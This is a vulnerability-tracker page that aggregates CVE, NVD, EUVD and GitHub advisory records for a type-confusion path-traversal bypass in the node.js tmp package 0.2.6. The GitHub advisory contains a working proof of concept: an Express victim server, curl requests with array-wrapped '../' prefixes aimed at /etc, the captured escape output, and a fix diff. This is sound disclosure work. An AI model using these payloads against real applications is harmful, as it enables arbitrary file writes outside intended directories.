tmp: Type-confusion bypass of _assertPath in [email protected] allows path traversal via non-string prefix/postfix/template

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No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

tmp is a temporary file and directory creator for node.js. In version 0.2.6, the _assertPath guard added to tmp rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges. This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion. This vulnerability is fixed in 0.2.7.

Source published

11 Jun 2026 15:45:00 UTC

Source modified

11 Jun 2026 18:24:22 UTC

Observed here

23 Oct 2026 15:48:27 UTC

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CVE Program Terms of Use

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CVSS 3.1 · 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

tmp is a temporary file and directory creator for node.js. In version 0.2.6, the _assertPath guard added to tmp rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges. This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion. This vulnerability is fixed in 0.2.7.

Source published

Jun 11, 2026, 3:45:00 PM (timezone not stated)

Source modified

Jun 11, 2026, 6:24:22 PM (timezone not stated)

Observed here

7 Nov 2026 11:32:22 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

tmp is a temporary file and directory creator for node.js. In version 0.2.6, the _assertPath guard added to tmp rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges. This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion. This vulnerability is fixed in 0.2.7.

Source published

11 Jun 2026 17:16:35 UTC

Source modified

26 Oct 2026 11:10:00 UTC

Observed here

27 Oct 2026 13:11:58 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

### Summary The `_assertPath` guard added to `[email protected]` rejects only string values that contain the substring `..`. It is bypassed when `prefix`, `postfix`, or `template` is supplied as a non-string value (Array, Buffer, or any object) whose `includes('..')` returns falsy but whose stringification still contains `../`. The value flows through `Array.prototype.join`/`String` coercion inside `_generateTmpName` and `path.join(tmpDir, opts.dir, name)`, producing a final path that escapes `tmpdir` and creates a file or directory at an attacker-controlled location with the host process's privileges. This affects any application that forwards untrusted request data (a common pattern is JSON body fields or `qs`-parsed bracket-array query strings such as `?prefix[]=...`) into `tmp.file`, `tmp.fileSync`, `tmp.dir`, `tmp.dirSync`, `tmp.tmpName`, or `tmp.tmpNameSync` without explicit type coercion. ### Impact - Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions. - Directory creation outside the intended tree (via `tmp.dir{,Sync}`), which can then host a subsequent symlink swap. - File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged. ### Affected versions `tmp` >= 0.2.6 (the `_assertPath` guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass. ### Vulnerable code `lib/tmp.js` at tag `v0.2.6`, commit 41f7159: ```javascript // lib/tmp.js:533-539 function _assertPath(path) { if (path.includes("..")) { throw new Error("Relative value not allowed"); } return path; } ``` ```javascript // lib/tmp.js:577-580 options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix); options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix); options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template); ``` ```javascript // lib/tmp.js:515-525 - opts.prefix and opts.postfix are stringified by Array.prototype.join const name = [ opts.prefix ? opts.prefix : 'tmp', '-', process.pid, '-', _randomChars(12), opts.postfix ? '-' + opts.postfix : '' ].join(''); return path.join(tmpDir, opts.dir, name); ``` Root cause: `_assertPath` assumes its argument is a string. For an `Array` argument, `Array.prototype.includes('..')` checks element equality (so `['../escape'].includes('..')` is `false`); for an arbitrary object, `Object.prototype.includes` does not exist and a duck-typed `includes: () => false` defeats the check entirely. In both shapes, the subsequent `[...].join('')` and `path.join(...)` coerce the value to its underlying string, which still contains `../`. ### How untrusted data reaches `_assertPath` Two production-realistic shapes that yield a non-string `prefix`/`postfix`/`template`: 1. JSON request bodies. `express.json()` (and any other JSON body parser) preserves the parsed value's type. A body of `{"prefix":["../escape"]}` reaches the handler as an Array. 2. `qs`-style bracket-array query strings. Express 4's default `qs` parser turns `?prefix[]=../escape` into `['../escape']`. The same applies to any framework using `qs` (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.). The consumer pattern is the natural one - forward `req.body.prefix` directly into `tmp.file({ prefix, tmpdir })` with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow. ### Proof of concept (string vs array) `poc.js` (run after `npm install [email protected]`): ```javascript const tmp = require('tmp'); const path = require('path'); const fs = require('fs'); const baseDir = fs.mkdtempSync('/tmp/safe-base-'); console.log('[negative control] string "../escape" - must be blocked'); try { const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' }); console.log(' UNEXPECTED, file at:', r.name); r.removeCallback(); } catch (e) { console.log(' BLOCKED as expected:', e.message); } console.log('\n[bypass] array ["../escape"] - same effective value, not blocked'); try { const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] }); console.log(' CREATED at:', r.name); console.log(' ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir))); r.removeCallback(); } catch (e) { console.log(' BLOCKED:', e.message); } console.log('\n[bypass] duck-typed object {toString, includes} - also not blocked'); try { const r = tmp.fileSync({ tmpdir: baseDir, prefix: { toString: () => '../escape', includes: () => false } }); console.log(' CREATED at:', r.name); console.log(' ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir))); r.removeCallback(); } catch (e) { console.log(' BLOCKED:', e.message); } ``` Observed output on `[email protected]`: ```text [negative control] string "../escape" - must be blocked BLOCKED as expected: Relative value not allowed [bypass] array ["../escape"] - same effective value, not blocked CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn ESCAPED: true [bypass] duck-typed object {toString, includes} - also not blocked CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf ESCAPED: true ``` ### End-to-end reproduction (against the deployed npm package) Install: ```bash mkdir tmp-bypass-poc && cd tmp-bypass-poc npm init -y npm install [email protected] express@5 ``` `victim-server.js` - realistic Express app that forwards a JSON body field into `tmp.file`: ```javascript const express = require('express'); const tmp = require('tmp'); const fs = require('fs'); const path = require('path'); const app = express(); app.use(express.json()); const TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-'); console.log('[victim] Tenant base dir:', TENANT_BASE); app.post('/upload', (req, res) => { const userPrefix = req.body.prefix; // attacker-controlled console.log('[victim] received prefix:', JSON.stringify(userPrefix), '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')'); tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => { if (err) { console.log('[victim] tmp error:', err.message); return res.status(400).json({ error: err.message }); } fs.writeSync(fd, 'attacker-controlled-content'); fs.closeSync(fd); const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE)); console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped); res.json({ filepath, escaped, tenantBase: TENANT_BASE }); }); }); app.listen(3000, () => console.log('[victim] http://127.0.0.1:3000')); ``` Run: ```bash node victim-server.js & ``` Drive three requests from another shell: ```bash echo '=== ATTACK 1: string prefix - caught by 0.2.6 ===' curl -s -X POST -H 'Content-Type: application/json' \ -d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload echo echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ===' curl -s -X POST -H 'Content-Type: application/json' \ -d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload echo echo '=== ATTACK 3: multi-level traversal toward /etc ===' curl -s -X POST -H 'Content-Type: application/json' \ -d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload ``` Captured transcript (verbatim from the test rig): ```text === ATTACK 1: string prefix - caught by 0.2.6 === {"error":"Relative value not allowed"} === ATTACK 2: array prefix - bypasses 0.2.6 === {"filepath":"/private/tmp/escape-array-79635-gEFyGCBNFSTh","escaped":true,"tenantBase":"/tmp/tenant-base-3XHwPZ"} === ATTACK 3: multi-level traversal toward /etc === {"error":"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'"} ``` Server log: ```text [victim] Tenant base dir: /tmp/tenant-base-3XHwPZ [victim] received prefix: "../escape-string" (type: string ) [victim] tmp error: Relative value not allowed [victim] received prefix: ["../escape-array"] (type: array ) [victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true [victim] received prefix: ["../../../etc/poc-tmp-bypass"] (type: array ) [victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH' ``` Observations: - ATTACK 1 (string `../escape-string`) is rejected at `_assertPath`. The 0.2.6 guard works for plain strings. - ATTACK 2 (array `["../escape-array"]`) passes the guard and creates a file at `/private/tmp/escape-array-...`, outside the tenant base `/tmp/tenant-base-3XHwPZ`. The file content is `attacker-controlled-content`. Confirmed with `ls`: ```bash $ ls -la /tmp/escape-array-* -rw-------@ 1 rick wheel 27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh $ cat /tmp/escape-array-* attacker-controlled-content $ ls -la /tmp/tenant-base-3XHwPZ/ total 0 drwx------ 2 rick wheel 64 May 27 20:25 . ``` Tenant base is empty. The escape is complete. - ATTACK 3 (array `["../../../etc/poc-tmp-bypass"]`) reaches `fs.open` for `/etc/poc-tmp-bypass-...`. The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed. ### Negative control with patched build Applying the suggested fix below and re-running ATTACK 2: ```text === ATTACK 2: array prefix - after fix === {"error":"prefix option must be a string, got \"object\"."} ``` The patched build rejects non-string `prefix`/`postfix`/`template` with a clear type error before the path is constructed. ### Suggested fix Patch `_assertPath` to require a string argument. The check `value.includes('..')` is sound only over strings; any non-string with a custom or array-element `includes` semantics bypasses it. ```diff --- a/lib/tmp.js +++ b/lib/tmp.js @@ -528,11 +528,14 @@ function _generateTmpName(opts) { /** - * Check the prefix and postfix options + * Check the prefix, postfix, and template options * * @private */ -function _assertPath(path) { - if (path.includes("..")) { +function _assertPath(option, value) { + if (typeof value !== 'string') { + throw new Error(`${option} option must be a string, got "${typeof value}".`); + } + if (value.includes("..")) { throw new Error("Relative value not allowed"); } - return path; + return value; } @@ -575,9 +578,9 @@ function _assertOptionsBase(options) { options.unsafeCleanup = !!options.unsafeCleanup; // for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to - options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix); - options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix); - options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template); + options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix); + options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix); + options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template); } ``` Defence-in-depth, recommended in addition to the type check: validate the final resolved path against `tmpdir` after `_generateTmpName`, similar to what `_getRelativePath` already does for `dir` and `template`. That way any future bypass through a different vector (e.g., a future Node `path` change, or a different option) does not exit `tmpdir`. ### Fix PR https://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1 ### Credit Reported by tonghuaroot.

Source published

15 Jun 2026 16:36:46 UTC

Source modified

10 Sep 2026 03:50:48 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Publisher rating · HIGH